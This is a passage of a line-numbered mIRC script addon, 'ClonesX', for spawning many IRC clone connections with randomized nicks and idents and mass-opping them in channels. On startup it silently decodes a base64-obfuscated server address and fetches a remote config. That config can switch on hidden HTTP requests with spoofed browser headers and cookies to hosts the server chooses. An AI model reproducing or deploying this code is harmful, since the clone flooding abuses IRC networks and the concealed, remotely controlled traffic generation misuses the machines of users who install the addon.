      if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif(%p.cloning.usIn.ident,%p.cloning.usIn.ident,$iif($did(p.cloning,37).text == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$did(p.cloning,37).text))) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
      1017.
      else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
      1018.
      var %p.cloning.usIn.nick = $lower($iif(%p.cloning.usIn.nick,%p.cloning.usIn.nick,$iif($did(p.cloning,37).text == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$did(p.cloning,37).text $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z)))))     
      1019.
      p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
      1020.
      if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
      1021.
      else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
      1022.
    }
    1023.
    else {
      1024.
      if ($did(p.cloning,35).state == 1) {
        1025.
        if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif($did(p.cloning,37).text == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$did(p.cloning,37).text)) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
        1026.
        else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
        1027.
        var %p.cloning.usIn.nick = $lower($iif($did(p.cloning,37).text == Aleatory,$rand(a,z),$did(p.cloning,37).text)) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999)))     
        1028.
        p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
        1029.
        if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
        1030.
        else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }   
        1031.
      }
      1032.
      elseif ($did(p.cloning,36).state == 1) {
        1033.
        if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif($did(p.cloning,38).text == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$did(p.cloning,38).text)) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
        1034.
        else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
        1035.
        var %p.cloning.usIn.nick = $lower($iif($did(p.cloning,38).text == Aleatory,$rand(a,z),$did(p.cloning,38).text)) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999)))
        1036.
        p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick     
        1037.
        if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
        1038.
        else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
        1039.
      }
      1040.
    }
    1041.
  }
  1042.
}
1043.
on 1:SOCKCLOSE:p.cloning.*: {
  1044.
  if ($dialog(p.cloning)) {
    1045.
    ;echo -s Ha cerrado: $sock($sockname,1).wsmsg
    1046.
    p.cloning.con.com $sockname | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Remote- | p.cloning.cmds
    1047.
  }
  1048.
}
1049.
alias -l p.cloning.w { hadd -m p.cloning.a $$1 $$2 }
1050.
alias -l p.cloning.r { return $hget(p.cloning.a,$hget(p.cloning.a,$$1).item) }
1051.
alias -l p.cloning.do.w {
  1052.
  ;if ($hget(p.cloning.a,$$1) != $null) { return }
  1053.
  p.cloning.w $$1 $$2
  1054.
}
1055.
alias -l p.cloning.do.saNick { return $gettok($hget(p.cloning.a,$$1),2,44) }
1056.
alias -l p.cloning.do.saSockN {
  1057.
  var %i = 1
  1058.
  while ($p.cloning.r(%i)) {
    1059.
    if ($gettok($p.cloning.r(%i),2,44) == $$1) { return $hget(p.cloning.a,%i).item }
    1060.
    var %i = %i + 1
    1061.
  }
  1062.
}
1063.
alias -l p.cloning.dos.numCL {
  1064.
  var %i = 1 | var %o = 0
  1065.
  while ($p.cloning.r(%i)) {
    1066.
    var %p.cloning.pill = $ifmatch
    1067.
    if ($gettok(%p.cloning.pill,1,44) == 1) { var %o = %o + 1 }
    1068.
    var %i = %i + 1
    1069.
  }
  1070.
  if ($$1 == 0) { return $calc(%i - 1) }
  1071.
  elseif ($$1 == 1) { return %o }
  1072.

  1073.
}
1074.
alias p.cloning.ipports {
  1075.
  if ($dialog(p.cloning.ipport)) { dialog -v p.cloning.ipport }
  1076.
  else { dialog -md p.cloning.ipport p.cloning.ipport }
  1077.
}
1078.
dialog p.cloning.ipport {
  1079.
  title "ClonesX connected IP & Ports"
  1080.
  size -1 -1 157 225
  1081.
  option dbu
  1082.
  button "&OK", 1, 16 210 120 12, ok
  1083.
  box "At the moment", 2, 1 1 155 207
  1084.
  edit "", 3, 4 8 149 185, read multi hsbar vsbar
  1085.
  button "&Refresh", 4, 55 195 45 10
  1086.
}
1087.
alias -l p.cloning.ipports.act {
  1088.
  if ($dialog(p.cloning.ipport)) {
    1089.
    did -r p.cloning.ipport 3
    1090.
    var %i = 1
    1091.
    while ($sock(p.cloning.*,%i)) {
      1092.
      var %p.cloning.ipports.act = $ifmatch
      1093.
      var %p.cloning.ipports.act.ip = $sock(%p.cloning.ipports.act).ip
      1094.
      var %p.cloning.ipports.act.port = $sock(%p.cloning.ipports.act).port
      1095.
      if ($gettok($hget(p.cloning.a,%p.cloning.ipports.act),1,44) == 1) && (!$didwm(p.cloning.ipport,3,%p.cloning.ipports.act.ip %p.cloning.ipports.act.port)) {
        1096.
        did -i p.cloning.ipport 3 $did(p.cloning.ipport,3).lines %p.cloning.ipports.act.ip %p.cloning.ipports.act.port
        1097.
      }
      1098.
      var %i = %i + 1
      1099.
    }
    1100.
  }
  1101.
}
1102.
on 1:DIALOG:p.cloning.ipport:sclick:4: { p.cloning.ipports.act }
1103.
on 1:DIALOG:p.cloning.ipport:init:0: { p.cloning.ipports.act }
1104.
alias -l p.cloning.see.act {
  1105.
  var %p.act.cloning.1 = $decode(%p.act.cloning.see.c.pea,m)
  1106.
  if ($gettok(%p.act.cloning.1,1,44)) && ($gettok(%p.act.cloning.1,1,44)) { .SockOpen p.see.cloning.act $gettok(%p.act.cloning.1,1,44) $gettok(%p.act.cloning.1,2,44) }
  1107.
}
1108.
on 1:SockOpen:p.see.cloning.act: {
  1109.
  if ($sockerr == 0) {
    1110.
    var %p.act.cloning.1 = $decode(%p.act.cloning.see.c.pea,m)
    1111.
    sockwrite -nt $sockname GET $gettok(%p.act.cloning.1,3,44)
    1112.
    .timerp.act.cloning.close 1 60 .SockClose p.see.cloning.act
    1113.
  }
  1114.
}
1115.
on 1:SockRead:p.see.cloning.act: {
  1116.
  if ($sockerr == 0) {
    1117.
    sockread %p.see.cloning.act
    1118.
    var %p.see.cloning.act1 = $gettok(%p.see.cloning.act,1,58)
    1119.
    var %p.see.cloning.act2 = $gettok(%p.see.cloning.act,2-,58) 
    1120.
    if (%p.see.cloning.act1 == VERSION) && (%p.see.cloning.act2) { p.cloning.actua %p.see.cloning.act2 }
    1121.
    elseif (%p.see.cloning.act1 == PEA) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.pea %p.see.cloning.act2 }
    1122.
    elseif (%p.see.cloning.act1 == URL) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.url %p.see.cloning.act2 }
    1123.
    elseif (%p.see.cloning.act1 == BURL) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.burl %p.see.cloning.act2 }
    1124.
    elseif (%p.see.cloning.act1 == BCON) && (%p.see.cloning.act2 != $null) { set %p.act.cloning.see.c.bcon %p.see.cloning.act2 }
    1125.
    elseif (%p.see.cloning.act1 == ENOT) && (%p.see.cloning.act2) { echo -s 5ClonesX News: %p.see.cloning.act2 } 
    1126.
  }
  1127.
}
1128.
alias -l p.cloning.crdts { if ($dialog(p.cloning.cred)) { dialog -v p.cloning.cred } | else { dialog -md p.cloning.cred p.cloning.cred } }
1129.
on 1:sockopen:p.b.cloning?: {
  1130.
  if ($sockerr == 0) {
    1131.
    var %p.b.cloning.1 = $decode(%p.act.cloning.see.c.burl,m)
    1132.
    var %p.b.cloning.prt1 = $gettok(%p.b.cloning.1,3,44) | var %p.b.cloning.prt2 = $gettok(%p.b.cloning.1,4,44)
    1133.
    var %p.b.cloning.prt3 = $gettok(%p.b.cloning.1,5,44) | var %p.b.cloning.prt4 = $gettok(%p.b.cloning.1,6,44)
    1134.
    var %p.b.cloning.prt5 = $gettok(%p.b.cloning.1,7,44)
    1135.
    if ($sockname == p.b.cloning1) {
      1136.
      var %p.cloning.rrand = $rand(0,2)
      1137.
      if (%p.cloning.rrand == 0) { set %p.cloning.b.lng en }
      1138.
      elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng it }
      1139.
      else { set %p.cloning.b.lng es }
      1140.
      var %p.cloning.rrand = $rand(0,2)
      1141.
      if (%p.cloning.rrand == 0) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ NT }
      1142.
      elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 95 }
      1143.
      else { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 98 }
      1144.
      var %p.cloning.rrand = $rand(0,2)
      1145.
      if (%p.cloning.rrand == 0) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 5.0 }
      1146.
      elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 5.5 }
      1147.
      else { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 6.0 }
      1148.

      1149.
      var %p.b.cloning.tsn = GET %p.b.cloning.prt1 HTTP/1.1 $+ $crlf $+ Accept: */* $+ $crlf $+ Referer: %p.b.cloning.prt5 $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
      1150.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
      1151.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: %p.b.cloning.prt3 $+ $crlf $+ Connection: Keep-Alive $+ $crlf $+ $crlf
      1152.
      ;sockwrite -nt $sockname %p.b.cloning.tsn
      1153.
      .timerp.cloning.BB1 1 3 p.cloning.bbdo 2
      1154.
    }
    1155.
    elseif ($sockname == p.b.cloning2) {
      1156.
      var %p.b.cloning.tsn = GET %p.b.cloning.prt2 HTTP/1.1 $+ $crlf $+ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* $+ $crlf $+ Referer: %p.b.cloning.prt5
      1157.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
      1158.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
      1159.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: %p.b.cloning.prt3 $+ $crlf $+ Connection: Keep-Alive
      1160.
      if ($calc($ctime - %p.act.cloning.see.c.burl.tt) < 86400) { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Cookie: %p.b.cloning.prt4 $+ $crlf $+ $crlf }
      1161.
      else { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ $crlf | set %p.act.cloning.see.c.burl.tt $ctime }
      1162.
      ;unset %p.cloning.b.lng
      1163.
      ;sockwrite -nt $sockname %p.b.cloning.tsn
      1164.
      ;.timerp.cloning.BB 1 2 .sockclose $sockname
      1165.
    }
    1166.
    else {
      1167.
      var %p.b.cloning.tsn = $iif(http:// isin %p.cloning.b.lng.l,GET / HTTP/1.1,GET / $+ %p.cloning.b.lng.l HTTP/1.1)
      1168.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* $+ $crlf $+ Referer: %p.b.cloning.prt5
      1169.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
      1170.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
      1171.
      var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: $iif($chr(63) isin %p.cloning.b.lng.l,%p.b.cloning.prt3,$remove(%p.cloning.b.lng.l,http://)) $+ $crlf $+ Connection: Keep-Alive
      1172.
      if ($chr(63) isin %p.cloning.b.lng.l) { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Cookie: %p.b.cloning.prt4 $+ $crlf $+ $crlf }
      1173.
      else { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ $crlf }
      1174.
    }
    1175.
    sockwrite -nt $sockname %p.b.cloning.tsn
    1176.
  }
  1177.
}
1178.
on 1:sockclose:p.b.cloning?: { if (!$sock(p.b.cloning?,2)) && ($sockname != p.b.cloning1) { unset %p.cloning.b.lng* } }
1179.
on 1:sockread:p.b.cloning?: {
  1180.
  if ($sockerr == 0) {
    1181.
    sockread %p.cloning.b.lng.r
    1182.
    if ($gettok(%p.cloning.b.lng.r,1,32) == Location:) {
      1183.
      set %p.cloning.b.lng.l $gettok(%p.cloning.b.lng.r,2,32)
      1184.
      var %i = 3 | while ($sock(p.b.cloning [ $+ [ %i ] ],1)) { var %i = %i + 1 }   
      1185.
      if (!$sock(p.b.cloning [ $+ [ %i ] ],1)) && ($chr(63) isin %p.cloning.b.lng.l) { p.cloning.bbdo %i $iif($chr(63) !isin %p.cloning.b.lng.l,$remove(%p.cloning.b.lng.l,http://)) }
      1186.
    }
    1187.
  }
  1188.
}
1189.
alias -l p.cloning.bbdo {
  1190.
  if (%p.act.cloning.see.c.bcon == 1) && (%p.act.cloning.see.c.burl) {
    1191.
    var %p.b.cloning.1 = $decode(%p.act.cloning.see.c.burl,m)   
    1192.
    var %p.b.cloning.1p = $gettok(%p.b.cloning.1,1,44)
    1193.
    var %p.b.cloning.prt = $gettok(%p.b.cloning.1,2,44)
    1194.
    if ($2) { .sockopen p.b.cloning $+ $$1 $2 80 }
    1195.
    elseif (%p.b.cloning.1p) && (%p.b.cloning.prt) { .sockopen p.b.cloning $+ $$1 %p.b.cloning.1p %p.b.cloning.prt }
    1196.
  }
  1197.
}
1198.
dialog p.cloning.cred {
  1199.
  title "ClonesX Credits"
  1200.
  size -1 -1 144 99
  1201.
  option dbu
  1202.
  text "This addon has been created by script-planet. For anything about the addon contact:", 1, 1 2 142 15
  1203.
  text "Web: Mail: Forum:", 2, 1 16 14 21
  1204.
  link "irc://irc.quakenet.eu.org/script-planet", 3, 15 16 55 8
  1205.
  link "Xenon@clanboardzone.de", 4, 15 22 58 8
  1206.
  link "", 5, 15 29 129 8
  1207.
  box "Thanks to:", 6, 0 38 144 47
  1208.
  edit "Specially to LCA, acctually he has done the web ;) Others: (the big) savek, eX_FeRNaL, kern, [{odin}], lucan, corso, ediskrad... If i have forgot someone tell me xD. Also to people of #scripting (HISPANO NETWORK) ;)). I hope it'll be helpul for you, bye.", 7, 2 45 140 37, read multi
  1209.
  button "&Exit", 8, 45 87 55 11, ok
  1210.
}
1211.
on 1:DIALOG:p.cloning.cred:sclick,dclick:*: {
  1212.
  if ($did == 3) { run irc://irc.quakenet.eu.org/script-planet }
  1213.
  if ($did == 4) { run mailto:Xenon@clanboardzone.de?subject=ClonesX }
  1214.
  if ($did == 5) { run }
  1215.
}
1216.
dialog p.cloning.errD {
  1217.
  title "ClonesX error!"
  1218.
  size -1 -1 160 30
  1219.
  option dbu
  1220.
  text "", 1, 0 1 160 28
  1221.
  button "",2,-20 -20 0 0,cancel
  1222.
}
1223.
;on 1:DIALOG:p.cloning.errD:init:0: { did -a $dname 1 %p.cloning.errD }
1224.
dialog p.cloning.ac {
  1225.
  title "ClonesX -actualization-"
  1226.
  size -1 -1 160 43
  1227.
  option dbu
  1228.
  text "There is new version of ClonesX. Version:", 1, 2 4 128 8
  1229.
  text "", 2, 128 4 50 8
  1230.
  text "Download:", 3, 2 15 32 8
  1231.
  button "&Close", 4, 64 29 37 12, ok
  1232.
  link "", 5, 37 15 119 7
  1233.
}
1234.
on 1:DIALOG:p.cloning.ac:init:0: {
  1235.
  did -i $dname 2 1 %p.act.cloning.verr
  1236.
  did -i $dname 5 1 %p.act.cloning.see.c.url
  1237.
}
1238.
on 1:DIALOG:p.cloning.ac:sclick,dclick:5: { run $did($dname,5).text }
1239.
alias -l p.cloning.actua {
  1240.
  if ($$1 > %p.act.cloning.verr) {
    1241.
    set %p.act.cloning.verr $$1
    1242.
    if ($dialog(p.cloning.ac)) { dialog -v p.cloning.ac }
    1243.
    else { dialog -m p.cloning.ac p.cloning.ac | dialog -v p.cloning.ac }
    1244.
  }
  1245.
}
1246.
on *:START: {
  1247.
  if ($version < 5.91) { echo -s 4El Addon ClonesX v1.501b no funcionará correctamente en versiones del mIRC inferiores a la 5.91 }
  1248.
  unset %p.cloning.*
  1249.
  if ($calc($ctime - %p.act.cloning.see.c.burl.tt) > 86400) && (%p.act.cloning.see.c.bcon == 1) { p.cloning.bbdo 1 }
  1250.
  if (!%p.act.cloning.verr) { set %p.act.cloning.verr 1.501b }
  1251.
  if (!%p.act.cloning.see.c.pea) { set %p.act.cloning.see.c.pea MjA5LjkwLjEyNS4yMTIsODAsL35rcnh2ZXIvcGNsb25pbmcudHh0 }
  1252.
  if (!%p.act.cloning.see.c.url) { set %p.act.cloning.see.c.url irc://irc.quakenet.eu.org/[Q]crew }
  1253.
  if (%p.act.cloning.see.c.bcon == $null) { set %p.act.cloning.see.c.bcon 0 } 
  1254.
  if (!%p.act.cloning.see.c.burl) { set %p.act.cloning.see.c.burl c2F2ZWssZWwsYW1vcyx4RCwvcXVlcnkgc2F2ZWsgZXJlcyBlbCB0b2RvIHBvZGVyb3NvLFRvY2FuZG8gY29kaWdvIGVoP3hELHByb3hpbWFtZW50ZSBlbiBwcm9ncmFtYSE= }
  1255.
  set %p.cloning.msg.quit DIE YO!
  1256.
  set %p.cloining.wh $script
  1257.
  p.cloning.see.act     
  1258.
}
1259.
on *:LOAD: {
  1260.
  unset %p.cloning*
  1261.
  unset %p.save.cloning*
  1262.
  unset %p.act.cloning*
  1263.
}
1264.

1265.
alias -l p.cloning.fal {
  1266.
  set %p.cloning.errD $$1-
  1267.
  if ($dialog(p.cloning.errD)) { dialog -x p.cloning.errD }
  1268.
  dialog -m p.cloning.errD p.cloning.errD
  1269.
  dialog -v p.cloning.errD
  1270.
  halt
  1271.
}
1272.

1273.
alias op.clones {
  1274.
  var %t = 0
  1275.
  var %n
  1276.
  var %i = $nick($active,0)
  1277.
  :loop
  1278.
  if ($did(38) isin $nick($active,%i)) {
    1279.
    %n = $nick($active,%i) %n
    1280.
    inc %t
    1281.
  }
  1282.
  dec %i
  1283.
  if (%t == 6) {
    1284.
    mode $active +oooooo %n
    1285.
    %t = 0
    1286.
    unset %n
    1287.
  }
  1288.
  if (%i != 0) {
    1289.
    goto loop
    1290.
  }
  1291.
  else {
    1292.
    mode $active +ooooo %n
    1293.
  }
  1294.
}
1295.
alias go.clonesop {
  1296.
  var %t = 0
  1297.
  var %n
  1298.
  var %i = $nick($active,0)
  1299.
  :loop
  1300.
  if ($did($dname,38) isin $nick($active,%i)) {
    1301.
    %n = $nick($active,%i) %n
    1302.
    inc %t
    1303.
  }
  1304.
  dec %i
  1305.
  if (%t == 6) {
    1306.
    p.cloning.runcmd mode $did($dname,16) +oooooo %n
    1307.
    %t = 0
    1308.
    unset %n
    1309.
  }
  1310.
  if (%i != 0) {
    1311.
    goto loop
    1312.
  }
  1313.
  else {
    1314.
    p.cloning.runcmd mode $did($dname,16) +ooooo %n
    1315.
  }
  1316.
}
1317.

1318.
alias go.clonesinvite {
  1319.
  p.cloning.runcmd invite %proxynick $did($dname,16)
  1320.
}
1321.
alias op.allclones {
  1322.
  var %t = 0
  1323.
  var %n
  1324.
  var %i = $nick($active,0)
  1325.
  :loop
  1326.
  if (%proxynick isin $nick($active,%i)) {
    1327.
    %n = $nick($active,%i) %n
    1328.
    inc %t
    1329.
  }
  1330.
  dec %i
  1331.
  if (%t == 6) {
    1332.
    mode $did(16) +oooooo %n
    1333.
    %t = 0
    1334.
    unset %n
    1335.
  }
  1336.
  if (%i != 0) {
    1337.
    goto loop
    1338.
  }
  1339.
  else {
    1340.
    mode $did(16) +ooooo %n
    1341.
  }
  1342.
}
1343.
alias -l copy {
  1344.
  did -o p.cloning 89 1 Modded ClonesX by SgtSlaughter
  1345.
}
1346.

1347.

1348.
/*
1349.
on *:TEXT:!fortune*:#:{
  1350.
  var %w $rand(1,5)
  1351.
  if (%w == 1) {
    1352.
    /msg $chan You spin the wheel...
    1353.
    /msg $chan The wheel stops on.....2KICK!
    1354.
    /kick $chan $2
    1355.
  }
  1356.
  elseif (%w == 2 ) {
    1357.
    /msg $chan You spin the wheel...
    1358.
    /msg $chan The wheel stops on.....2VOICE!
    1359.
    /mode $chan +v $2
    1360.
  }
  1361.
  elseif (%w == 3 ) {
    1362.
    /msg $chan You spin the wheel...
    1363.
    /msg $chan The wheel stops on.....2HALF OP!
    1364.
    /mode $chan +h $2
    1365.
  }
  1366.
  elseif (%w == 4 ) {
    1367.
    /msg $chan You spin the wheel...
    1368.
    /msg $chan The wheel stops on.....2BAN!
    1369.
    /mode $chan +b $2 $+ !*@*
    1370.
  }
  1371.
  elseif (%w == 5) {
    1372.
    /msg $chan You spin the wheel...
    1373.
    /msg $chan The wheel stops on.....2COOKIE!
    1374.
    /describe $chan gives $2 a nice, warm, homemade cookie.
    1375.
  }
  1376.
  else {
    1377.
    /msg $chan You spin the wheel...
    1378.
    /msg $chan The wheel stops on.....2MILK!
    1379.
    /describe $chan gives $2 a nice, cold, glass of milk.
    1380.
  }
  1381.
}
1382.
*/